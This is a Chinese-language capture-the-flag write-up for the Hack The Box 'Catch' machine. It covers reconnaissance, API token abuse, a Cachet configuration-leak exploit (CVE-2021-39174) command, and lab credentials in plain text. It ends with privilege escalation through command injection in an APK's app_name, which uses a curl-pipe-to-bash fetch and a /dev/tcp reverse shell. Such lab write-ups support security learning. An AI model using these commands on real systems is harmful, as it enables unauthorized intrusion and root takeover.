Hack The Box-Catch
文章目录
整体思路
1.Nmap扫描
当前靶机开启22,80,3000,5000,8000端口
扫描开启端口的具体信息,这里80、3000和5000都是http端口,一会挨个打开检查一下
2.apk文件信息收集
在浏览器地址栏输入IP,访问80端口的Web服务,在这个页面可以下载一个apk文件
使用jadax工具打开该apk文件(注:这里记得用root权限打开,否则会报错打不开)
搜索一下password和user值,结果中出现的基本都是十六进制,且没什么意义
再看一下当前代码文件中包含的token值(因为nmap结果中包含多个cookie),目前还不确定哪个有用,继续访问其他http页面
3000端口是catch应用的git库,且Gitea的版本是1.14.1,
访问gitea的API文档,尝试使用gitea的token获取信息
这里gitea的用户名未知,并且给定的token值也无效,无法继续进行
3.lets chat API利用
访问5000端口,这是一个let’s chat社交应用,正好符合另一个token,搜索它的API文档
这里可以使用GET或curl来获取目标API信息,具体命令为
GET/curl 10.129.40.171:5000/rooms -H 'Authorization: bearer Token'
根据API文档的提示,这里使用基础token无效,所以更换bearer token,利用jq对得到的信息进行整理,jq工具的具体用法会放在最后
接下来可以按照ID访问不同room中的message,得到用户john的密码,回到http页面尝试登陆
4.Cachet配置泄露漏洞利用
3000端口登陆失败,成功登入8000端口页面,并且这个页面用的是Cachet 2.4.0框架
搜索Cachet 2.4.0的相关漏洞,发现一个配置文件漏洞,该漏洞允许攻击者提取存储在配置文件中的机密信息
顺利找到该漏洞exp,使用命令
python3 exp.py -n john -p 'E}V!mywu_69T4C}W' -u http://10.129.40.56:8000/ -x http://127.0.0.1:8080
(密码加的是单引号,加别的会报错)
设置代理使用burpsuite观察漏洞利用过程,该漏洞主要是在邮箱地址输入${目标信息},获取用户名,密码等信息
经过注入成功得到新的用户凭证will:s2#4Fg0_%3!,尝试ssh登录
登陆成功,获取userflag
5.apk代码注入漏洞利用
现在用户权限已有,不需要进行横向提权,所以数据库以及发现用户密码方面暂时不用考虑,我们需要找系统漏洞,根据最开始得到的apk包得知,这是一个Andorid应用,所以可以去到管理移动应用的文件夹/opt/mdm,这里的verify.sh有一段命令,我们可以做代码注入,执行反弹shell命令
这是verify.sh的主函数,相当于main,这里提到执行的apk文件从/opt/mdm/apk_bin中提取,所以我们将apk文件上传到这个文件夹
在当前文件夹下查看正在运行的进程,可以看到有一个root权限的check.sh进程在反复运行,但是这个文件夹中只有一个verify.sh文件,我们开始尝试传入apk
按照app_check函数中给出的路径,我们使用apktool将开始下载的apk文件制作成文件夹,进入/appname/res/values/strings.xml文件,找到app_name,并注入代码
这里为了保险起见,将反弹shell的代码写入文件shell中,使用命令curl ip:port/shell | bash 的方式进行反弹
注入代码后,需要用apktool工具将文件夹重新打包成apk文件后上传(注:这里无法直接使用apktool命令,需要下载apktool的jar包)
这里反弹shell的命令为/bin/bash -i >& /dev/tcp/10.10.14.5/9001 0>&1
成功得到root用户shell
工具汇总
1.nmap
2.jadax
3.jq
4.burpsuite
5.apktool
漏洞利用
lets chat API利用
Cachet配置泄露漏洞利用(CVE-2021-39174)
继续加油 :)